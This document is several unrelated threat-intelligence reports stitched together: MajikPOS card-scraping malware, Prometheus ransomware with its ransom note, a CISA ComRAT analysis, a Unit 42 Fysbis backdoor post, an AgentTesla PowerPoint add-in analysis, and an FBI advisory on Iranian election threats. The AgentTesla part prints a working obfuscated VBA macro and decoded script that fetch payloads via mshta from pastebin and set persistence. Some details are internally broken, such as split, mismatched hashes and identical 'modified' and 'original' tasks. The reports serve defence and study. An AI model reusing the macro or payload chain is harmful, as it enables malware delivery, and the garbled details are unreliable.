credit card number, expiration date, and service code. Processes not in the whitelist are first scanned for strings with delimiters, such as ‘=’ and ‘^’ and beginning with ‘B’ or ‘;’ and ends with ‘?’, to make the routine faster. Depending on the result, it will further verify if the track data is valid via regex matching: - Track 1: `([3-6]{1}\d{14,15}\^[a-zA-Z/. ]{0,50}\^\d{12,22})` - Track 2: `[3-6]{1}\d{14,15}=\d{4}(101|121|126|201|206|220|221|226|521|606|620)\d{5,15}` Magnetic stripe cards store this information in a format defined by ISO/IEC 7813:2006, where it is possible to determine the credit card issuer (i.e., Visa, MasterCard, American Express, etc.) through the primary account number (PAN), and card type (service code). These ascertain the card’s restrictions, and where it can be used. MajikPOS checks the first digit which must be a value from 3 to 6. MajikPOS also checks the service codes and delimiters “=” or “^” in their proper places. While it uses regular expressions to match a valid card number, it does not use Luhn algorithm (a checksum formula) to validate the credit card number. After verifying the track data, the information is sent to the C&C server via HTTP POST, Action=”bin”: Delving into the conhost.exe’s code, we found that conhost.exe declares .NET classes corresponding to the backdoor commands of the malware while communicating to its C&C server. Interestingly, only the Track and SerializedTracks were used by conhost.exe among other classes present. The other classes/commands were used by its main component. It appears conhost.exe is designed as such so the main and RAM-scraping components can be combined into one module. Here is a summary of the backdoor commands: | Command | Description | Parameter | |--------------------|-----------------------------------------------|-------------------------------| | ExeUpdate | Download an updated copy of the malware | HWID, Password, Action | | GetTask | Request for additional tasks from C&C server | HWID, Action | | Register | Reports the infected machine information to the C&C server | ExternalIp, LocalIP, HWID, OS, Pcname, Action | | Serialized Tracks | Reports the scraped credit card information to the C&C server | Tracklist:bin, Procname, HWID, Action | | DeleteBot | Removes the malware from the infected machine | | ## Online Shops for Stolen Credit Card Data The peddler, who goes by the handle “MAGICDUMPS”, had specific instruction to “work exactly as instructed after you buy the dumps”. This can possibly refer to the location (city, area code, and ZIP code) where the card must be used to ensure “the highest percentage of approval rate”. This can also suggest why the “magic dumps” shop indicates the country, state, city, and ZIP code. These dumps can also be searched by location. Here are the domains we found selling credit card data stolen by MajikPOS, based on our research on one of the malware’s C&C servers. The name “SwipeIT” curiously coincides with our research on another PoS malware, FastPOS (TSPY_FASTPOS). | Domain Name | Create Date | |----------------------------|-------------| | swipe[.]wtf | 12/4/2016 | | swipeit[.]pro | 12/5/2016 | | mcdumps[.]pro | 12/21/2016 | | mcdumps[.]top | 12/21/2016 | | umbpan[.]pw | 1/16/2017 | | umbpan[.]xyz | 1/16/2017 | | magicdumps[.]biz | 1/19/2017 | | magicdumps[.]one | 1/19/2017 | | magicdumps[.]pw | 1/19/2017 | | magicdumps[.]trade | 1/19/2017 | | magicdumps[.]pro | 1/30/2017 | | magicdumps[.]review | 1/30/2017 | | magicdumps[.]space | 1/30/2017 | | magicdumps[.]xyz | 1/30/2017 | | magicdumps[.]top | 2/1/2017 | ## Indicators of Compromise **File Hashes**, detected as TSPY_MAJIKPOS.A (SHA-256): - 427f1bf2b91cad1e9a4b7e095d6c83763f1bd50d6b8d515d3dbee9f96ef47097 - 283d1780fbd96325b19b7f273343ba8f8a034bd59f92dbf9b35e3a000840a3b4 - 14e5efcf0ba8773bcaf1c1b0517a614af68caa67902ee9f26a2a07a2ade58efb - 25e4d8354c882eaea94b52039a96cc6d969a2dec8486557351cfa1d05c3b8984 - 4bbc0afc598c197f137d0617de4bd1ab8c6eef751accb83a5bb6ea02e6c047c0 **C&C Servers**: - umbpan[.]xyz/80okg80/ - 195[.]22[.]126[.]234:449/old1/ - 193[.]169[.]252[.]102:449/1np3r0t/ - umbpan[.]pw:8880/o4m3kw/ - umbpan[.]pw:8880/o2kf8gp/
# Prometheus Ransomware ## Overview Prometheus is a ransomware that encrypts business users' data using Salsa20 and demands a ransom in BTC to restore files. The original name is Prometheus, and the group behind it is also named Prometheus. Variants include Getin, CGP, Haron (Chaddad), Boooom, Spook, ltnuhr, Steriok, Unlock, ZZZZZZZZZZ, and Matilan. ## Detection - **DrWeb**: Trojan.EncoderNET.31368 - **BitDefender**: Trojan.MSIL.Basic.6.Gen - **ALYac**: Trojan.Ransom.Thanos - **Avira**: TR/RansomX.cucnc - **ESET-NOD32**: A Variant Of MSIL/Filecoder.Thanos.A - **Kaspersky**: HEUR:Trojan-Ransom.MSIL.Thanos.gen - **Malwarebytes**: Ransom.Thanos - **Microsoft**: Ransom:MSIL/Thanos.DC!MTB - **Rising**: Ransom.Thanos!8.11C97 (CLOUD) - **Symantec**: Ransom.HiddenTear!g1 - **TrendMicro**: Ransom.MSIL.THANOS.SM ## Characteristics Encrypted files have an extension following the pattern: `.[XXX-XXX-XXXX]`. For example: `.[141-5D9-Y454]`. At the end of each encrypted file's code, the word "GotAllDone" appears. From July 2021, a new format for extensions was used, reflecting the name of the attacked company or institution, e.g., `.getin`, `.CGP`, `.chaddad`. The ransomware targets English-speaking users and has been reported globally, affecting various businesses, including Ghana National Gas, the Tulsa Heart Institute (Oklahoma, USA), and hotels in New York, France, Norway, Switzerland, the Netherlands, Brazil, Malaysia, and the UAE. ## Ransom Notes Ransom notes are named: - `RESTORE_FILES_INFO.txt` - `RESTORE_FILES_INFO.hta` ### Sample Content of the Ransom Note ``` YOUR COMPANY NETWORK HAS BEEN HACKED All your important files have been encrypted! Your files are safe! Only modified. (AES) No software available on the internet can help you. We are the only ones able to decrypt your files. -------------------------------------------------------------------------------- We also gathered highly confidential/personal data. These data are currently stored on a private server. Files are also encrypted and stored securely. -------------------------------------------------------------------------------- As a result of working with us, you will receive: Fully automatic decryptor, all your data will be recovered within a few hours after it's run. Server with your data will be immediately destroyed after your payment. Save time and continue working. You will can send us 2-3 non-important files and we will decrypt it for free to prove we are able to give your files back. -------------------------------------------------------------------------------- If you decide not to work with us: All data on your computers will remain encrypted forever. YOUR DATA ON OUR SERVER AND WE WILL RELEASE YOUR DATA TO PUBLIC OR RE-SELLER! So you can expect your data to be publicly available in the near future. The price will increase over time. ``` ## Technical Details The ransomware can spread through: - Exploiting unsecured RDP configurations - Email spam with malicious attachments - Deceptive downloads - Botnets - Exploits - Malicious ads - Web injections - Fake updates - Repackaged and infected installers ### File Extensions Affected The ransomware encrypts various file types, including: - Documents (e.g., .doc, .pdf, .xls) - Images (e.g., .jpg, .png) - Archives (e.g., .zip, .rar) - Databases (e.g., .mdb, .sql) - Media files (e.g., .mp3, .mp4) ### Registry Entries Registry entries related to this ransomware are created, and mutexes are used to prevent multiple instances from running. ## Family History Prometheus Ransomware has been active since May 2021, with various iterations and modifications. The NextGen variants emerged around June 2021, with some not encrypting files or being decryptable. ## Updates - **June 14, 2021**: New variant with extension `.getin`. - **July 16, 2021**: New variant with extension `.CGP`. - **July 17, 2021**: Self-identified as Haron Ransomware with extension `.chaddad`. - **October 14, 2021**: New variant with extension `.ltnuhr`. - **April 6, 2022**: New variant with extension `.ZZZZZZZZZZ`. ## Conclusion Prometheus Ransomware is a significant threat that has evolved over time, affecting various sectors globally. Users are advised to maintain updated antivirus protection and backup important files regularly.
# PowerShell Script: ComRAT This report is provided "as is" for informational purposes only. The Department of Homeland Security (DHS) does not provide any warranties of an. This document is marked TLP:WHITE--Disclosure is not limited. Sources may use TLP:WHITE when information carries minimal or no foreseeable risk. ## Summary This Malware Analysis Report (MAR) is the result of analytic efforts between the Cybersecurity and Infrastructure Security Agency (CISA) and the FBI. The FBI has high confidence that the Russian-sponsored APT actor Turla, which is an espionage group active for at least a decade, is using ComRAT malware. This report analyzes a PowerShell script that installs a PowerShell script, which will decode and load a 64-bit dynamic-link library (DLL) identified to receive commands and exfiltrate data. The ComRAT v4 file contains a Virtual File System (VFS) in File Allocation Table 16 (FAT16) format. Users or administrators should flag activity associated with the malware and report the activity to the CISA or the FBI Cyber Watch (CyWatch). ## Submitted Files (5) - `00352afc7e7863530e4d68be35ae8b60261fc57560167645697b7bfc0ac0e93d` (Communication_module_32.dll) - `134919151466c9292bdcb7c24c32c841a5183d880072b0ad5e8b3a3a830afef8` (corrected.ps1) - `166b1fb3d34b32f1807c710aaa435d181aedbded1e7b4539ffa931c2b2cdd405` (Communication_module_64.dll) - `44d6d67b5328a4d73f72d8a0f9d39fe4bb6539609f90f169483936a8b3b88316` (ComRATv4.exe) - `a3170c32c09fc85cdda778a5c20a3dab144b6d1dd9996ba8340866e0081c7642` (Decode_PowerShell.ps1) ## Domains (6) - branter.tk - bronerg.tk - crusider.tk - duke6.tk - sanitar.ml - wekanda.tk ## Findings ### File: corrected.ps1 - **Size**: 4345430 bytes - **Type**: Little-endian UTF-16 Unicode text, with very long lines, with CRLF, LF line terminators - **MD5**: 65419948186842f8f3ef07cafb71f59a - **SHA1**: 93537b0814177e2101663306aa17332b9303e08a - **SHA256**: 134919151466c9292bdcb7c24c32c841a5183d880072b0ad5e8b3a3a830afef8 - **SHA512**: 83d093c6febacb11fcde57fee98c2385f628e5cd3629bfabd0f9e4d2c5de18c6336b3d3aff8081b06a827e742876d19ae370e81890c247d - **ssdeep**: 24576:+vq2EYNg0gX792UHDoSe9Ov2a8p+JnHZUoWYWUpcfm3WuPhu/aqJOFKs4Wuw054o:Drr9q0v4ubJmg4OFuwkOM5NZihxs - **Entropy**: 4.004402 **Antivirus**: No matches found. ### Description This file is a heavily encoded malicious PowerShell script. It is designed to install a malicious PowerShell script into a registry on the victim system. ### Modified Scheduled Task ```xml <?xml version="1.0" encoding="UTF-16"?> <Task xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task"> <RegistrationInfo> <Version>1.0</Version> <SecurityDescriptor>D:(A;OICI;FA;;;BA)(A;OICI;FA;;;SY)(A;OICI;GRGX;;;AU)</SecurityDescriptor> <Source>$(@%systemRoot%\system32\wsqmcons.exe,-106)</Source> <Author>$(@%systemRoot%\system32\wsqmcons.exe,-108)</Author> <Description>$(@%systemRoot%\system32\wsqmcons.exe,-107)</Description> <URI>\Microsoft\Windows\Customer Experience Improvement Program\Consolidator</URI> </RegistrationInfo> <Principals> <Principal id="WinSQMAccount"> <UserId>S-1-5-18</UserId> </Principal> </Principals> <Settings> <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries> <StopIfGoingOnBatteries>false</StopIfGoingOnBatteries> <MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy> <StartWhenAvailable>true</StartWhenAvailable> <IdleSettings> <StopOnIdleEnd>true</StopOnIdleEnd> <RestartOnIdle>false</RestartOnIdle> </IdleSettings> <UseUnifiedSchedulingEngine>true</UseUnifiedSchedulingEngine> </Settings> <Triggers> <TimeTrigger> <StartBoundary>2004-01-02T00:00:00</StartBoundary> <Repetition> <Interval>PT6H</Interval> </Repetition> </TimeTrigger> </Triggers> <Actions Context="WinSQMAccount"> <Exec> <Command>%SystemRoot%\System32\wsqmcons.exe</Command> </Exec> </Actions> </Task> ``` ### Original Scheduled Task ```xml <?xml version="1.0" encoding="UTF-16"?> <Task xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task"> <RegistrationInfo> <Version>1.0</Version> <SecurityDescriptor>D:(A;OICI;FA;;;BA)(A;OICI;FA;;;SY)(A;OICI;GRGX;;;AU)</SecurityDescriptor> <Source>$(@%systemRoot%\system32\wsqmcons.exe,-106)</Source> <Author>$(@%systemRoot%\system32\wsqmcons.exe,-108)</Author> <Description>$(@%systemRoot%\system32\wsqmcons.exe,-107)</Description> <URI>\Microsoft\Windows\Customer Experience Improvement Program\Consolidator</URI> </RegistrationInfo> <Principals> <Principal id="WinSQMAccount"> <UserId>S-1-5-18</UserId> </Principal> </Principals> <Settings> <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries> <StopIfGoingOnBatteries>false</StopIfGoingOnBatteries> <MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy> <StartWhenAvailable>true</StartWhenAvailable> <IdleSettings> <StopOnIdleEnd>true</StopOnIdleEnd> <RestartOnIdle>false</RestartOnIdle> </IdleSettings> <UseUnifiedSchedulingEngine>true</UseUnifiedSchedulingEngine> </Settings> <Triggers> <TimeTrigger> <StartBoundary>2004-01-02T00:00:00</StartBoundary> <Repetition> <Interval>PT6H</Interval> </Repetition> </TimeTrigger> </Triggers> <Actions Context="WinSQMAccount"> <Exec> <Command>%SystemRoot%\System32\wsqmcons.exe</Command> </Exec> </Actions> </Task> ``` ### File: Decode_PowerShell.ps1 - **Size**: 1264496 bytes - **Type**: ASCII text, with very long lines, with CRLF, LF line terminators - **MD5**: 0fd79f4c60593f6aae69ff22086c3bb0 - **SHA1**: 07f0692c856703d75a9946a0fbb3c0db03f7ac40 - **SHA256**: a3170c32c09fc85cdda778a5c20a3dab144b6d1dd9996ba8340866e0081c7642 - **SHA512**: 28a0ae0a779aa88499f70cf97ef9db9482527017ea76ee2e469e4184684c4d4fb0559e50f1721e7e9d02655bee4cdf7b12c62a3d037ea - **ssdeep**: 24576:jarQlVyeHtWdf7PyJjwLKWp57+7fb0TLaB7VrE:jD567vs1tm - **Entropy**: 6.091278 **Antivirus**: - Antiy: GrayWare/PowerShell.Mimikatz.a - ClamAV: Win.Trojan.PSempireInj-7013548-0 - Microsoft Security Essentials: Trojan:PowerShell/Powersploit.J - NANOAV: Trojan.Script.ExpKit.eydujq - Symantec: Hacktool.Mimikatz ### Description This heavily encoded PowerShell script is installed by the malicious script “corrected.ps1”. Removal of some of the PowerShell obfuscation reveals the functions used to decompress the embedded data. ### PowerShell Helper Functions ```csharp using System; using System.IO; using System.IO.Compression; public static class CD475bjf { public static void DBQ800fc(Stream input, Stream output) { byte[] buffer = new byte[16 * 1024]; int bytesRead; while ((bytesRead = input.Read(buffer, 0, buffer.Length)) > 0) { output.Write(buffer, 0, bytesRead); } } } public static class MAE38aee { public static byte[] JZ653jdh(byte[] arrayToCompress) { using (MemoryStream outStream = new MemoryStream()) { using (GZipStream tinyStream = new GZipStream(outStream, CompressionMode.Compress)) { tinyStream.Write(arrayToCompress, 0, arrayToCompress.Length); } return outStream.ToArray(); } } public static byte[] PGN255ij(byte[] arrayToDecompress) { using (MemoryStream inStream = new MemoryStream(arrayToDecompress)) { using (GZipStream bigStream = new GZipStream(inStream, CompressionMode.Decompress)) { return bigStream.ToArray(); } } } } ``` ### Sample Data in the VFS - `/etc/pal/` contains a list of C2 domains: `bronerg.tk|crusider.tk|duke6.tk` - `/etc/gal.bin` contains a list of C2 domains: `sanitar.ml|wekanda.tk|branter.tk` - `/etc/pki/aes_key.pki`: Contains the AES encryption keys for the C2 communications. - `/etc/pki/public_cert.pki` contains the RSA encryption key used for the C2 communications. - `/etc/mail/subj_dict` contains the Subject "Re: |RE: |FW: |FWD: | Fw: | Fwd:| FYI: |FYIP |NRN: | NT: | N/T | n/t| NB |NM| n/m |N/M: |*n/m*" - `/etc/php_storage/GET/DEF/server.txt` and `/etc/php_storage/POST/DEF/server.txt` contains server IP `172.22.150.125`. ## Recommendations CISA recommends that users and administrators consider using the following best practices to strengthen the security posture of their organization: - Maintain up-to-date antivirus signatures and engines. - Keep operating system patches up-to-date. - Disable File and Printer sharing services. If these services are required, use strong passwords or Active Directory authentication. - Restrict users' ability (permissions) to install and run unwanted software applications. Do not add users to the local administrators group unless necessary. - Enforce a strong password policy and implement regular password changes. - Exercise caution when opening e-mail attachments even if the attachment is expected and the sender appears to be known. - Enable a personal firewall on agency workstations, configured to deny unsolicited connection requests. - Disable unnecessary services on agency workstations and servers. - Scan for and remove suspicious e-mail attachments; ensure the scanned attachment is its "true file type" (i.e., the extension matches the file). - Monitor users' web browsing habits; restrict access to sites with unfavorable content. - Exercise caution when using removable media (e.g., USB thumb drives, external drives, CDs, etc.). - Scan all software downloaded from the Internet prior to executing. - Maintain situational awareness of the latest threats and implement appropriate Access Control Lists (ACLs).
# A Look Into Fysbis: Sofacy’s Linux Backdoor **By Bryan Lee and Rob Downs** **February 12, 2016** **Category:** Malware, Threat Prevention, Unit 42 **Tags:** Fysbis, Linux, Sofacy ## Introduction The Sofacy group, also known as APT28 and Sednit, is a well-known cyber espionage group believed to have ties to Russia. Their targets have spanned the globe, focusing on government, defense organizations, and various Eastern European governments. Numerous reports on their activities have led to a Wikipedia entry being created for them. From these reports, we know that the group uses a variety of tools and tactics, including zero-day exploits targeting common applications such as Java or Microsoft Office, heavy use of spear-phishing attacks, compromising legitimate websites to stage watering-hole attacks, and targeting various operating systems – Windows, OSX, Linux, and even mobile iOS. The Linux malware Fysbis is a preferred tool of Sofacy. Though it is not particularly sophisticated, Linux security is still a maturing area, especially regarding malware. This tool has likely contributed to the success of associated attacks by this group. This blog post focuses specifically on this Linux tool preferred by Sofacy and describes considerations and implications regarding Linux malware. ## Malware Assessment Fysbis is a modular Linux trojan/backdoor that implements plug-in and controller modules as distinct classes. Some vendors categorize this malware under the Sednit attacker group naming designation. This malware includes both 32-bit and 64-bit versions of Executable and Linking Format (ELF) binaries. Additionally, Fysbis can install itself on a victim system with or without root privileges, increasing the options available to an adversary when selecting accounts for installation. ### Summary information for the three binaries analyzed follows: **Sample 1 - Late 2014 Sofacy 64-bit Fysbis** - **MD5:** 364ff454dcf00420cff13a57bcb78467 - **SHA-256:** 8bca0031f3b691421cb15f9c6e71ce193, 5d2d8cf2b190438b6962761d0c6bb - **ssdeep:** 3072:n+1R4tREtGN4qyGCXdHPYK9l0H786 O26BmMAwyWMn/qwwiHNl:n+1R43QcIL XdF0w6IBmMAwwCwwi - **Size:** 141.2 KB (144560 bytes) - **Type:** ELF 64-bit (stripped) - **Install as root:** /bin/rsyncd (synchronize and backup service) - **Install as non-root:** ~/.config/dbus-notifier/dbus-inotifier (system service d-bus notifier) - **C2:** azureon-line[.]com (TCP/80) - **Usage Timeframe:** Late 2014 **Sample 2 - Early 2015 Sofacy 32-bit Fysbis** - **MD5:** 075b6695ab63f36af65f7ffd45cccd39 - **SHA-256:** 02c7cf55fd5c5809ce2dce56085ba43795f2, 480423a4256537bfdfda0df85592 - **ssdeep:** 3072:9ZAxHANuat3WWFY9nqjwbuZf454U NqRpROIDLHaSeWb3LGmPTrIW33HxIajF:9ZAxHANJAvbuZf454UN+rv eQLZPTrV3Z - **Size:** 175.9 KB (180148 bytes) - **Type:** ELF 32-bit (stripped) - **Install as root:** /bin/ksysdefd (system kernel service defender) - **Install as non-root:** ~/.config/ksysdef/ksysdefd (system kernel service defender) - **C2:** 198.105.125[.]74 (TCP/80) - **Usage Timeframe:** Early 2015 **Sample 3 - Late 2015 Sofacy 64-bit Fysbis** - **MD5:** e107c5c84ded6cd9391aede7f04d64c8 - **SHA-256:** fd8b2ea9a2e8a67e4cb3904b49c789d57ed, 9b1ce5bebfe54fe3d98214d6a0f61 - **ssdeep:** 6144:W/D5tpLWtr91gmaVy+mdckn6BCUd c4mLc2B9:4D5Lqgkcj+ - **Size:** 314.4 KB (321902 bytes) - **Type:** ELF 64-bit (not stripped) - **Install as root:** /bin/ksysdefd (system kernel service defender) - **Install as non-root:** ~/.config/ksysdef/ksysdefd (system kernel service defender) - **C2:** mozilla-plugins[.]com (TCP/80) - **Usage Timeframe:** Late 2015 Overall, these binaries are assessed as low sophistication but effective. They exemplify the reality that Advanced Persistent Threat (APT) actors often don’t require advanced means to achieve their objectives. These actors typically reserve their advanced malware and zero-day exploits, employing just enough resources to meet their goals. Defenders should always look for ways to work smarter before they have to work harder. ## Getting the Most Out of Strings Binary strings alone revealed a good amount about these files, increasing the efficacy of activities such as static analysis categorization (e.g., Yara). One example is Fysbis installation and platform targeting information for the samples. In this case, we can see the binary installation path and local reconnaissance to determine which flavor of Linux the malware is running. This is followed by several Linux shell command style commands related to the malware establishing persistence. Another example of easily obtained information from these samples is capability-based. ### Symbolic Information Can Shorten Analysis Time Interestingly, the most recent ELF 64-bit binary analyzed was not stripped prior to delivery, offering additional context in the form of symbolic information. Defenders more familiar with Windows Portable Executable (PE) binaries can equate this with the compilation of a Debug version versus a Release version. Little static analysis gifts like these can help speed defender enumeration of capabilities and contribute to correlation and detection across related samples. This latest sample demonstrated minor evolution of the threat, most notably in terms of obfuscation. The symbolic information hints at the method used for decoding, with references to mask, path, name, and info byte arrays. The referenced byte mask is applied to the other byte arrays using a rolling double-XOR algorithm to construct malware installation paths, filenames, and descriptions for a Linux root account. ## Infrastructure Analysis As Unit 42 has discussed in depth in other blog articles, adversaries are seemingly hesitant to change their infrastructure. This may be due to not wanting to commit additional resources or simply a matter of retaining familiarity for timeliness. The oldest sample was found to beacon to the domain azureon-line[.]com, which had already been widely publicized as a known command and control domain for the Sofacy group. Using passive DNS, we can see that two of the original IPs this domain resolved to also mapped to a number of other domains that had been in use by the Sofacy group during that time period. The first of the newer samples continues the trend and beacons to an IP also widely associated with the Sofacy group, 198.105.125[.]74. This IP has been mostly associated with the tool specifically known as CHOPSTICK. The newest sample introduces a previously unknown command and control beacon to mozilla-plugins[.]com. This activity aligns with the previously observed Sofacy group tactic of integrating legitimate company references into their infrastructure naming convention. ## Conclusion Linux is used across business and home environments and appears in various form factors. It is a preferred platform within data centers and the cloud for businesses, as well as a favorite for many Internet-facing web and application servers. The value proposition of Linux, especially in the enterprise, can be broken out into three perceived benefits: lower total cost of ownership (TCO), security, and feature set. While numbers and comparison can contribute to measuring TCO and feature set, security requires further qualification. Expertise in the Linux platform is highly sought after across all industries for multiple disciplines, from system administration to big data analytics to incident response. The majority of businesses still maintain Windows-heavy user environments where core infrastructure components operate under Windows servers. This means most of a business’s focus remains on supporting and protecting Windows assets. Linux remains a mystery to many enterprise IT specialists, most critically for network defenders. Lack of expertise and visibility into non-Windows platforms can present significant risks against an organization’s security posture. The Linux vulnerability described under CVE-2016-0728 further demonstrates the potential breadth of real-world risks to associated platforms. To mitigate associated risks requires tailored integration of people, processes, and technology in support of prevention, monitoring, and detection within an environment. Linux malware detection and prevention is not prevalent at this time, but Palo Alto Networks customers are protected through our next-generation security platform: - IPS signature 14917 deployed to identify and prevent command and control activity - The C2 domains and files mentioned in this report are blocked in our Threat Prevention product. ## Indicators | Type | Value | |-------|-------| | MD5 | 364ff454dcf00420cff13a57bcb78467 | | SHA256| 8bca0031f3b691421cb15f9c6e71ce193, 355d2d8cf2b190438b6962761d0c6bb | | ssdeep| 3072:n+1R4tREtGN4qyGCXdHPYK9l0H786 O26BmMAwyWMn/qwwiHNl:n+1R43QcIL XdF0w6IBmMAwwCwwi | | MD5 | 075b6695ab63f36af65f7ffd45cccd39 | | SHA-256| 02c7cf55fd5c5809ce2dce56085ba437, 95f2480423a4256537bfdfda0df85592 | | ssdeep| 3072:9ZAxHANuat3WWFY9nqjwbuZf454U NqRpROIDLHaSeWb3LGmPTrIW33HxIajF:9ZAxHANJAvbuZf454UN+rv eQLZPTrV3Z | | MD5 | e107c5c84ded6cd9391aede7f04d64c8 | | SHA-256| fd8b2ea9a2e8a67e4cb3904b49c789d, 57ed9b1ce5bebfe54fe3d98214d6a0f61 | | ssdeep| 6144:W/D5tpLWtr91gmaVy+mdckn6 BCUdc4mLc2B9:4D5Lqgkcj+ | | Path | Path Desc | |------|-----------| | /bin/rsyncd | synchronize and backup service | | ~/.config/dbus-notifier/dbus-inotifier | system service d-bus notifier | | /bin/ksysdefd | system kernel service defender | | ~/.config/ksysdef/ksysdefd | system kernel service defender | | C2 | azureon-line[.]com | | C2 | 198.105.125[.]74 | | C2 | mozilla-plugins[.]com |
# AgentTesla Delivered via a Malicious PowerPoint Add-In Attackers are always trying to find new ways to deliver malicious code to their victims. Microsoft Word and Excel are documents that can be easily exploited. While hunting, I found an interesting document disguised as a PowerPoint template (with the extension ‘.pot’) delivered within a classic phishing email. ```vba Sub Auto_Open() ' Gets executed immediately after the presentation is opened. Sub Auto_Close() ' Gets executed prior to the presentation is closed. Sub Auto_Print() ' Gets executed prior to the presentation being printed. Sub Auto_ShowBegin() ' Gets executed when the show begins. Sub Auto_ShowEnd() ' Gets executed when the show ends. Sub Auto_NextSlide(Index as Long) ' Gets executed before the slideshow moves onto the next slide. The index represents the SlideIndex. ``` Two macros are fired automatically within an add-in: `Auto_Open()` and `Auto_Close()`. `Auto_Open()` is fired when the add-in is loaded and `Auto_Close()` is executed when the presentation is closed. The document (SHA256:b345b73a72f866ac3bc2945467d2678ca4976dd4c51bd0f2cdb142a79f56210a) that I found contains an `Auto_Close()` macro. ```bash root@remnux:/malwarezoo# file Payments\ detail.pot Payments detail.pot: Composite Document File V2 Document, Little Endian, Os: Windows, Version 10.0, Code page: 1252, Title: payments, ``` ```bash root@remnux:/malwarezoo# oledump.py Payments\ detail.pot 1: 2784 '\x05DocumentSummaryInformation' 2: 380 '\x05SummaryInformation' 3: 445 'PROJECT' 4: 26 'PROJECTwm' 5: M 1921 'VBA/Module1' 6: 2454 'VBA/_VBA_PROJECT' 7: 1377 'VBA/__SRP_0' 8: 88 'VBA/__SRP_1' 9: 392 'VBA/__SRP_2' 10: 103 'VBA/__SRP_3' 11: 493 'VBA/dir' ``` ```bash root@remnux:/malwarezoo# oledump.py Payments\ detail.pot -s 5 -v Attribute VB_Name = "Module1" Sub auto_close() Dim yoCgYQoJx As Object Dim r5ozCUcyJ As String Dim a4CItAIOl As String Dim PhS6Kx17B As String PhS6Kx17B = ("W" + "S" + "c" + "ript.Shell") Set yoCgYQoJx = CreateObject(PhS6Kx17B) r5ozCUcyJ = StrReverse("""a'*'zaebba'*'a'*'d\p'*'.j\\:ptth""""aths'*'""") a4CItAIOl = Replace(r5ozCUcyJ, "'*'", "m") yoCgYQoJx.Run a4CItAIOl End Sub ``` When the victim opens the ‘Payments detail.pot’ file, PowerPoint is launched and the add-in silently installed. You can see the installed Add-ins in the PowerPoint options. The macro simply launches a URL. In this case, Windows will try to open it with the default browser. The malicious URL is: `hxxp://j[.]mp/dmamabbeazma`. This HTTP request returns a 301 to a pastie: `hxxps://pastebin[.]com/raw/U78a8pxJ`. Here is the pastie content (some Javascript code): ```javascript <script type="text/javascript"> <!-- eval(unescape('%66%75%6e%63%74%69%6f%6e%20%72%65%37%31%66%63%33%31%28%73%29%20%7b%0a%09%76%61%72%20%72%20%3d%20%22%22%3b%0a%09%76%61%72%7 eval(unescape('%64%6f%63%75%6d%65%6e%742e%77%72%69%74%65%28%72%65%37%31%66%63%33%31%28%27') + '%39%70%62%71%63%71%76%24%6d%66%72%6c%7f%64%6c%60%3a%2c%2b%25%3c%3b%38%2a%20%30%3f%38%2f%20%32%36%3d%2e%26%3e%39%38%20%22%36%34%33%35%unescape('%27%29%29%3b')); // --> </script> ``` The decoded version shows more payloads being downloaded: ```javascript function re71fc31(s) { var r = ""; var tmp = s.split("8863930"); s = unescape(tmp[0]); k = unescape(tmp[1] + "635258"); for( var i = 0; i < s.length; i++) { r += String.fromCharCode((parseInt(k.charAt(i%k.length))^s.charCodeAt(i))+-2); } return r; } document.write(re71fc31('%39%70%62%71%63%71%76%24%6d%66%72%6c%7f%64%6c%60%3a%2c%2b%25%3c%3b%38%2a%20%30%3f%38%2f%20%32%36%3d%2e%26%3e%0')); ``` And, the decoded payload: ```javascript <script language="&#86;&#66;&#83;&#99;&#114;&#105;&#112;&#116;"> CreateObject("WScript.Shell").Run """mshta""""http:\\pastebin.com\raw\3rM9m42v""" CreateObject("WScript.Shell").Run StrReverse("/ 08 om/ ETUNIM cs/ etaerc/ sksathcs") + "tn ""Xvideos"" /tr ""\""mshta\"" hxxp:\\pasteb CreateObject("WScript.Shell").RegWrite StrReverse("TRATS\nuR\noisreVtnerruC\swodniW\tfosorciM\erawtfoS\UCKH"), """m" + "s" + "h" + "t" CreateObject("WScript.Shell").RegWrite StrReverse("\nuR\noisreVtnerruC\swodniW\tfosorciM\erawtfoS\UCKH"), """m" + "s" + "h" + "t" + "a self.close </script> ``` The script fetches two extra payloads from pastebin.com. The two hex-encoded chunks of data decoded into a DLL and a PE. The PE is an AgentTesla malware (SHA256: d46615754e00e004d683ff2ad5de9bca976db9d110b43e0ab0f5ae35c652fab7). **Conclusion:** PowerPoint can also be used to deliver malicious content!
# Iranian Cyber Actors Responsible for Website Threatening U.S. Election Officials The FBI and the Cybersecurity and Infrastructure Security Agency (CISA) possess highly credible information indicating Iranian cyber actors almost certainly were responsible for the creation of a website called Enemies of the People, which contained death threats aimed at U.S. election officials in mid-December 2020. The FBI has identified multiple domains, including the main site, enemiesofthepeople.org, that contained personal information and photographs for a number of U.S. officials and individuals from private sector entities involved with the 2020 election. The FBI has confirmed the main site is currently inactive. In addition, threatening emails were sent to the officials from the following email addresses: - [email protected] - [email protected] - [email protected] - [email protected] The post-election creation of the Enemies of the People website demonstrates an ongoing Iranian intent to create divisions and mistrust in the United States and undermine public confidence in the U.S. electoral process. As referenced in Joint Cybersecurity Advisories AA20-296B and AA20-304A, and FBI FLASH Message ME-000138-TT, the FBI and CISA have previously warned that Iranian cyber actors were likely intent on influencing and interfering with the 2020 U.S. elections. The FBI and CISA urge the public to critically evaluate the sources of the information they consume and to seek out reliable and verified information. The FBI is responsible for investigating malign foreign influence operations and malicious cyber activity targeting election infrastructure and other U.S. democratic institutions. The FBI also investigates federal election crimes and violent crimes, including threats of violence against U.S. election or other public officials. CISA is responsible for protecting the nation’s critical infrastructure from physical and cyber threats. The FBI and CISA provide services and information to uphold the security, integrity, and resiliency of the U.S. electoral process. The FBI will continue to aggressively investigate credible threats made against U.S. election officials through any media, including websites and telephonic or electronic communications. The FBI encourages the public to report information concerning suspicious or criminal activity to their local field office or online at tips.fbi.gov.
